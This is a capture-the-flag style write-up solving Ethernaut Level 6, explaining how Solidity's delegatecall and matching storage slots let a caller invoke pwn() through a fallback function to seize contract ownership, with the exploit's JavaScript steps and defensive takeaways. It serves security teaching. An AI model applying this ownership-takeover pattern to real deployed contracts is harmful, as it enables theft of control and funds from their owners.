Ethernaut Level 6 Delegation [Foundry-Hardhat]

Ethernaut Level 6 Delegation [Foundry-Hardhat]

The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

This level shows how to abuse the delegatecall.

Objectives

  • This level requires us to claim ownership of the contract.

delegatecall

delegatecall is a special low-level call in Solidity used to make external calls to another contract. It is identical to a message call apart from the fact that the code at the target address is executed in the context (i.e., at the address) of the calling contract, and msg.sender and msg.value do not change.

This means that a contract can dynamically load code from a different address at runtime. Storage, current address, and balance still refer to the calling contract; only the code is taken from the called address. The advantage of delegatecall is that you can preserve the current calling contract's context.

Ethereum stores data in storage “slots”, which are 32-byte sized slots. Every time you save a variable to storage, it automatically occupies the remaining space in the current slot or the next slot in the sequence.

In the following contract, Contract A makes a delegatecall to the Contract B’s setTo5() function. Although the function is present in the Contract B, the value of the variable foo is changed in the Contract A. Contract B's code is executed with contract A’s storage, msg.sender and msg.value.

This implies that code from one contract may be used to alter the storage of another contract. We will be exploiting this behaviour in this level.

If state variables are accessed via a low-level delegatecall, the storage layout of the two contracts must align for the called contract to correctly access the storage variables of the calling contract by name. This is of course not the case if storage pointers are passed as function arguments as in the case for the high-level libraries.


Analysis

  • There are two contracts: Delegate and Delegation. Delegation contract makes a delegatecall to Delegate contract.

  • Delegate contract has a public function pwn() which sets the owner to msg.sender i.e., whoever invoked the function.

      contract Delegate {
          address public owner;   // Slot 0
          function pwn() public {
              owner = msg.sender; // Saves msg.sender to slot 0
          }
      }
    
  • Notice in the Delegation contract that there is also an owner variable at slot 0.

      contract Delegation {
        address public owner;    // Slot 0
        Delegate delegate;       // Slot 1
        ...
      }
    
  • Delegation contract has a fallback() function that makes a delegate call to the Delegate contract.

      fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
      }
    

    Remember from "Level 1 Fallback" that when no function selector is matched, the fallback() function gets invoked. We can invoke public and external functions by sending data in transactions. This data is the encoding function selector and the function arguments.

  • To exploit the contract, we need to trigger the fallback() function of the Delegation contract, passing msg.data as the function selector of the pwn() function. This will trigger the pwn() function by making a delegate call to Delegate Contract. Notice Slot 0 of both the contracts store owner. Since it’s a delegatecall, the storage of the calling contract, i.e., Delegation contract, is modified, making msg.sender the new owner of the Delegation contract.


Exploit

  • First, get the function selector for pwn()function. Selector for pwn() is 0xdd365b8b

      const selector = web3.eth.abi.encodeFunctionSignature('pwn()')
    
  • Check the current owner

      await contract.owner()
    
  • Invoke Delegation.sol’s fallback function

      await contract.sendTransaction({
          from: player,
          data: selector
      })
    

    This will set your address as the new owner.

  • Check the owner

      await contract.owner()
    

    This will return your address. By sending the transaction to the Delegation contract, the pwn() function of the Delegate contract is invoked in the Delegation contract's context using delegatecall and the storage is modified.

Submit the instance.

Level passed!!!😄


Key Takeaways

  • Make sure the calling contract’s storage slots line up with the called contract’s storage slots to avoid unintended assignments.

  • Perform authentication and conditional checks before using delegatecall.

  • Use staticcall when you don’t need to change contract storage(calling view and pure functions).

  • Don’t delegatecall to untrusted code.


The Ethernaut-Solutions repository contains the solutions using Foundry and Hardhat.

Solution using Foundry:-

Solution using Hardhat:-

More Levels

Did you find this article valuable?

Support Chirag Patil by becoming a sponsor. Any amount is appreciated!